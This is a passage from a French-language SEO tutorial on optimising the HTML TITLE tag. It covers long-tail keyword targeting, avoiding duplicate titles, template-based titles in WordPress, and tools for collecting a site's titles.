mots avant et après l’expression clé principale. Ces ajouts vont aboutir à la formation d’expressions clés plus longues, moins recherchées (mais demandées tout de même) et surtout moins concurrentiels.

C’est à dire qu’il sera plus facile de se positionner et plus rapide.

Cela permettra aussi de commencer à générer un peu de trafic et, peut être, qu’un jour via l’ancienneté et d’autres optimisations comme l’ajout de liens, votre page se positionnera à la fois sur l’expression clé courte et très concurrentielle mais aussi sur des expressions clés plus longues de type « longue traîne ».

Une seule page peut se positionner sur des centaines d’expressions clés différentes mais rappelez-vous que la taille de la balise TITLE est limitée.

Exemples

// A - Trop concurrentiel
<title>Balise TITLE</title> 

// B - Mieux mais il reste de la place de libre
<title>Balise TITLE : HTML & SEO</title> 

// C - Parfait !
<title>Comment Optimiser la Balise TITLE : HTML & SEO Google</title> 

A : On cible seulement « Balise TITLE » qui est le mot clé le plus recherché et le plus concurrentiel. Au lancement de la page, on risque d’être positionné sur aucun mot clé très intéressant. C’est très risqué surtout si la page n’a aucune ancienneté ni aucune popularité et que le nom de domaine n’est pas populaire. Les outils qui analysent automatiquement les TITLE ne sont jamais capables de déterminer ce type de problème lié à la concurrence.

B : Des mots clés ont été ajoutés : HTML et SEO car « Balise TITLE HTML » et « Balise TITLE SEO » sont 2 expressions clés recherchées. On cible alors au moins 3 expressions clés. Toutefois, la longueur de cette balise TITLE est de 20 caractères, il reste encore plein de place.

Pourquoi se priver d’obtenir facilement du trafic en plus chaque jour pendant des années alors que cela ne prendrait que quelques secondes d’ajouter des mots en plus. Je dois vous avouer que lorsque je vois un référenceur de mon équipe faire cela, je suis très en colère.

C: On ajoute « optimiser » et « Google » qui permettent de cibler encore de nouvelles combinaisons de mots clés. Le premier mot « Comment » permet de cibler les recherches sous forme de questions et donnera aussi en même temps envie de cliquer sur notre titre dans la page de résultats du moteur. Deux effets parfaitement complémentaires et générateurs de trafic qualifié dont il ne faut pas se priver.

Si vous visez du trop concurrentiel et que vous mettez trop de temps à obtenir des résultats, vous risquez de perdre votre client ou votre job. Oui, oui…

Comment trouver de l’inspiration ?

La réponse à la plupart des questions en SEO se trouvent dans les SERP.

Peu importe ce qu’un cours sur le référencement peut dire, peu importe la pertinence de tel ou tel tutoriel SEO, de la formation que vous avez suivi auprès de tel gourou du SEO, la réponse c’est la SERP et la SERP ne ment pas !

Les référenceurs passent souvent trop peu de temps à regarder les SERP contrairement aux internautes et c’est dommage. Pourtant c’est par là qu’il faut commencer, à partir du moment où on a décidé quelle expression clé on va cibler.

Il suffit de regarder ce que font ceux qui rankent sur la première page. Cela va vous donner des idées sur la formulation de votre balise TITLE, sur tel ou tel incentive à inclure.

Cannibalisation des TITLE

Chaque balise TITLE doit être unique. Il ne faut rien dupliquer.  Les référenceurs ne sont pas tous d’accord concernant la cannibalisation des balises TITLE.

Je pense que cela ne crée aucune pénalité. C’est seulement dommage de ne pas saisir toutes les opportunités.

Pourquoi optimiser 2 pages exactement sur la même expression ? Il faut mieux essayer de se positionner sur plus d’expressions clés différentes.

Lorsque j’audite les balises TITLE d’un site souvent je les liste dans un fichier XLS et je les lis horizontalement et verticalement.

Une balise TITLE s’optimise et s’apprécie aussi bien horizontalement que verticalement.

Étrange non ? Voici l’explication.

Précédemment dans cette formation en ligne, nous vous avons montré plusieurs balises TITLE et avons commenté ce qui fonctionne et ce qui ne fonctionne pas. C’est la lecture horizontale.

La lecture verticale, consiste à analyser plusieurs TITLE les uns sous les autres. L’objectif est de repérer les TITLE d’un même site trop similaires.

A forcer d’ajouter des synonymes, des verbes, des adjectifs avant et après les expressions clés principales ils arrivent que les TITLE sont trop similaires et que l’on perdre en diversité.

L’optimisation verticale va permettre de mettre en exergue ces problèmes et d’en profiter pour ajouter une nouvelle série d’optimisations.

Avant

<title>Achat / Vente Chaussettes rouge pas cher</title>
<title>Achat / Chaussettes verte pas cher</title>
<title>Achat / Chaussettes verte pas cher</title>

Après

<title>Achat / Vente Chaussettes rouge pas cher</title>
<title>Vente / Achat Chaussettes verte pas cher</title>
<title>Acheter Chaussettes verte discount en ligne</title>

Ainsi par exemple, on évite de trop souvent commencer par le même mot et on varie les expressions toujours dans l’idée de cibler encore plus d’expressions.

Ici, il n’y a que 3 lignes mais si vous appliquez cette opération sur un catalogue de 1 000 produits l’impact peut être énorme.

Imaginez ! Si l’ajout d’un nouveau mot génère seulement 1 visite en plus par jour.

1 visite fois mille pages fois 365 jours =  365 000 visites en plus.

Si sur Google Adwords, vous payez 1€ le clic, vous venez de générer pour 365 000€ de trafic supplémentaire gratuit ! Et je ne vous fais pas le calcul sur plusieurs années.

Vous comprenez maintenant pourquoi cela me met dans une colère noire lorsque je vois une page mise en ligne par un référenceur sans un TITLE digne de ce nom.

C’est comme jeter de l’argent par la fenêtre.

Comment personnaliser les TITLE sous WordPress

La majorité des CMS tel que WordPress proposent 2 modes d’optimisation des balises TITLE.

Une optimisation automatique des balises et une surcouche manuelle.

L’idée est d’avoir un TITLE qui sera optimisé par défaut automatiquement via des parties fixes et des parties dynamiques propre à la page. Ainsi que la possibilité d’optimiser manuellement pour une URL donnée la balise TITLE. Cette optimisation manuelle viendra alors supprimer la TITLE par défaut généré automatiquement.

Si le CMS d’un site ne fonctionne pas comme cela ou qu’il s’agit d’un script sur mesure alors il faut demander ce fonctionnement.

Sous WordPress, les plugins « All In One SEO », Yoast ainsi que le superbe plugin français SEOpress permettent d’optimiser finement les balises TITLE aussi bien de manière personnalisée pour chaque URL mais aussi de manière semi-automatique pour chaque gabarit de pages en incluant à l’intérieur des variables permettant d’éviter toute forme de duplication.

Optimisation semi-automatique : Travailler par gabarit (template)

Vous l’avez compris, optimiser manuellement chaque TITLE est la meilleure manière d’obtenir de bons résultats.

C’est envisageable pour les petits sites ou pour les « top pages SEO » des gros sites.

Toutefois, il n’est pas possible d’optimiser manuellement chaque URL d’un site qui contiendrait  1 million d’URL. C’est là, où l’approche par gabarit est obligatoire. Cette approche est valable en SEO pour un grand nombre de facteurs d’optimisations.

Il faut donc être capable d’identifier tous les gabarits d’un site.

Par exemple sous WordPress, il existe un gabarit pour les articles, 1 autre pour les pages, 1 pour les catégories etc…

Il faudra donc définir des règles de génération de balises TITLE pour chaque gabarit et inclure à chaque fois dans ces règles un élément dynamique, une variable, par exemple le titre de l’article.

Ainsi vous serez certains d’obtenir aucune balise TITLE dupliquée ou vide sans avoir à optimiser manuellement des milliers de pages.

Attention aux TITLE générés automatiquement

Lorsqu’on écrit des règles de TITLE automatisées, il est possible d’aboutir à une balise TITLE qui n’a aucun sens.

Attention donc à l’automatisation du process, qui peut si elle est mal paramétrée, nuire à la qualité.

Voici un exemple qui concerne un célèbre humoriste français défunt.

Balise TITLE générée automatiquement

Balise TITLE française générée automatiquement « Mort de Coluche pas cher ou d’occasion« 

Comment récupérer les TITLE d’un site automatiquement ?

Il faut utiliser un crawler tels que Screaming Frog, LinkExaminer, Oncrawl…

Si vous travaillez sous XLS et que vous disposez d’une liste d’URL dans une colonne, vous pouvez aussi utiliser le plugin SEOtoolsforExcel et la fonction HtmlTitle qui ira chercher automatiquement la contenu de la balise TITLE pour vous.

=HtmlTitle(URL)

Et si vous êtes plutôt Google Sheet alors il faudra vous tourner pour la fonction importxml :

=importxml("url","//title")

Synthèse

Un TITLE correctement optimisé de par sa taille et son contenu est à la fois un excellent moyen de crédibiliser votre contenu aux yeux des moteurs et des internautes.

Plus que jamais cet élément « basique » du SEO doit être optimisé si possible en amont avant la première publication de la page. Les impacts sont rapides et importants.

Voici les règles d’or à retenir absolument :

  • Le TITLE ne doit jamais être vide
  • Le contenu de la balise TITLE doit être unique sur chaque page
  • Il doit contenir les mots clés les plus importants ciblés par cette page
  • Les mots clés importants plutôt au début qu’à la fin de la balise
  • Essayer de ne pas avoir un TITLE tronqué dans les SERP
  • Généralement environ 60 caractères max et 600px
  • Vérifier l’affichage de vos TITLE sur desktop et mobile
  • Il doit donner envie de cliquer dessus
  • Eviter le bourrage de mots clés
  • Cibler des mots clés qui ne sont pas trop concurrentiels
  • Inclure des adjectifs et des synonymes
  • Eviter la répétition de mots clés
  • Inclure un élément géographique si objectif local
  • Inclure parfois le nom de votre marque si elle est populaire et courte
  • Modifier la balise TITLE d’une page qui ranke est risquée
  • Google peut modifier en fonction de la recherche l’affichage du TITLE dans les SERP (et utiliser H1, ancre, marque, historique…)